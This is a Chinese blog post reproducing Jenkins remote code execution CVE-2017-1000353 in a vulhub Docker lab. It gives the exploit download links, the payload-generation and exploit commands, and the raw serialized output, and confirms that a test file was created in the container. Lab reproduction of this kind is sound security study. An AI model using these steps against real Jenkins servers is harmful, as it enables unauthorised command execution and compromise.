Jenkins远程代码执行漏洞CVE-2017-1000353

复现环境:
https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
参考:
https://xz.aliyun.com/t/136

复现

使用Intellij Idea打包java为可执行jar包参考:
https://blog.csdn.net/xuemengrui12/article/details/74984731
image.png

image.png

复现过程

下载利用所需jar包:
https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
下载利用代码:
https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

生成payload:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/test_jenkins"

然后使用上一步的payload,发过去:

python3 exploit.py http://cqq.com:8080 jenkins_poc.ser

过程:

[~/GitProjects/vulhub/jenkins/CVE-2017-1000353]$ python3 exploit.py http://cqq.com:8080 jenkins_poc.ser                           [18:02:23]
start
pwn
b'Starting HTTP duplex channel<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00\xac\xed\x00\x05sr\x00\x1bhudson.remoting.UserRequest\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03L\x00\x10classLoaderProxyt\x000Lhudson/remoting/RemoteClassLoader$IClassLoader;[\x00\x07requestt\x00\x02[BL\x00\x08toStringt\x00\x12Ljava/lang/String;xr\x00\x17hudson.remoting.Request\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03I\x00\x02idI\x00\x08lastIoIdL\x00\x08responset\x00\x1aLhudson/remoting/Response;xr\x00\x17hudson.remoting.Command\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01L\x00\tcreatedAtt\x00\x15Ljava/lang/Exception;xpsr\x00\x1ehudson.remoting.Command$Source\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01L\x00\x06this$0t\x00\x19Lhudson/remoting/Command;xr\x00\x13java.lang.Exception\xd0\xfd\x1f>\x1a;\x1c\xc4\x02\x00\x00xr\x00\x13java.lang.Throwable\xd5\xc65\'9w\xb8\xcb\x03\x00\x04L\x00\x05causet\x00\x15Ljava/lang/Throwable;L\x00\rdetailMessageq\x00~\x00\x03[\x00\nstackTracet\x00\x1e[Ljava/lang/StackTraceElement;L\x00\x14suppressedExceptionst\x00\x10Ljava/util/List;xpq\x00~\x00\x10pur\x00\x1e[Ljava.lang.StackTraceElement;\x02F*<<\xfd"9\x02\x00\x00xp\x00\x00\x00\x07sr\x00\x1bjava.lang.StackTraceElementa\t\xc5\x9a&6\xdd\x85\x02\x00\x04I\x00\nlineNumberL\x00\x0edeclaringClassq\x00~\x00\x03L\x00\x08fileNameq\x00~\x00\x03L\x00\nmethodNameq\x00~\x00\x03xp\x00\x00\x00Gt\x00\x17hudson.remoting.Commandt\x00\x0cCommand.javat\x00\x06<init>sq\x00~\x00\x13\x00\x00\x006q\x00~\x00\x15q\x00~\x00\x16q\x00~\x00\x17sq\x00~\x00\x13\x00\x00\x00ct\x00\x17hudson.remoting.Requestt\x00\x0cRequest.javaq\x00~\x00\x17sq\x00~\x00\x13\x00\x00\x00=t\x00\x1bhudson.remoting.UserRequestt\x00\x10UserRequest.javaq\x00~\x00\x17sq\x00~\x00\x13\x00\x00\x03Xt\x00\x17hudson.remoting.Channelt\x00\x0cChannel.javat\x00\tcallAsyncsq\x00~\x00\x13\x00\x00\x00jt\x00\x1ahudson.remoting.PingThreadt\x00\x0fPingThread.javat\x00\x04pingsq\x00~\x00\x13\x00\x00\x00Vq\x00~\x00$q\x00~\x00%t\x00\x03runsr\x00&java.util.Collections$UnmodifiableList\xfc\x0f%1\xb5\xec\x8e\x10\x02\x00\x01L\x00\x04listq\x00~\x00\x0fxr\x00,java.util.Collections$UnmodifiableCollection\x19B\x00\x80\xcb^\xf7\x1e\x02\x00\x01L\x00\x01ct\x00\x16Ljava/util/Collection;xpsr\x00\x13java.util.ArrayListx\x81\xd2\x1d\x99\xc7a\x9d\x03\x00\x01I\x00\x04sizexp\x00\x00\x00\x00w\x04\x00\x00\x00\x00xq\x00~\x00.xq\x00~\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00ps}\x00\x00\x00\x02\x00.hudson.remoting.RemoteClassLoader$IClassLoader\x00\x1chudson.remoting.IReadResolvexr\x00\x17java.lang.reflect.Proxy\xe1\'\xda \xcc\x10C\xcb\x02\x00\x01L\x00\x01ht\x00%Ljava/lang/reflect/InvocationHandler;xpsr\x00\'hudson.remoting.RemoteInvocationHandler\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x05Z\x00\x14autoUnexportByCallerZ\x00\tgoingHomeI\x00\x03oidZ\x00\tuserProxyL\x00\x06originq\x00~\x00\rxp\x00\x00\x00\x00\x00\x02\x00sq\x00~\x00\x0bq\x00~\x005t\x00xProxy hudson.remoting.RemoteInvocationHandler@2 was created for interface hudson.remoting.RemoteClassLoader$IClassLoaderuq\x00~\x00\x11\x00\x00\x00\x08sq\x00~\x00\x13\x00\x00\x00~t\x00\'hudson.remoting.RemoteInvocationHandlert\x00\x1cRemoteInvocationHandler.javaq\x00~\x00\x17sq\x00~\x00\x13\x00\x00\x00\x8bq\x00~\x009q\x00~\x00:t\x00\x04wrapsq\x00~\x00\x13\x00\x00\x02\x8fq\x00~\x00 q\x00~\x00!t\x00\x06exportsq\x00~\x00\x13\x00\x00\x02\xd4t\x00!hudson.remoting.RemoteClassLoadert\x00\x16RemoteClassLoader.javaq\x00~\x00>sq\x00~\x00\x13\x00\x00\x00Gq\x00~\x00\x1dq\x00~\x00\x1eq\x00~\x00\x17sq\x00~\x00\x13\x00\x00\x03Xq\x00~\x00 q\x00~\x00!q\x00~\x00"sq\x00~\x00\x13\x00\x00\x00jq\x00~\x00$q\x00~\x00%q\x00~\x00&sq\x00~\x00\x13\x00\x00\x00Vq\x00~\x00$q\x00~\x00%q\x00~\x00(q\x00~\x00,xxur\x00\x02[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\x00\x00xp\x00\x00\x00>\xac\xed\x00\x05sr\x00\x1fhudson.remoting.PingThread$Ping\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00w\x08\xff\xff\xff\xfe\x00\x00\x00\x02xpt\x00\'hudson.remoting.PingThread$Ping@170b079y'
[~/GitProjects/vulhub/jenkins/CVE-2017-1000353]$ docker exec -it c45456861b6c ls -al /tmp/test_jenkins                            [18:03:05]
-rw-r--r-- 1 jenkins jenkins 0 Feb 20 10:03 /tmp/test_jenkins
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值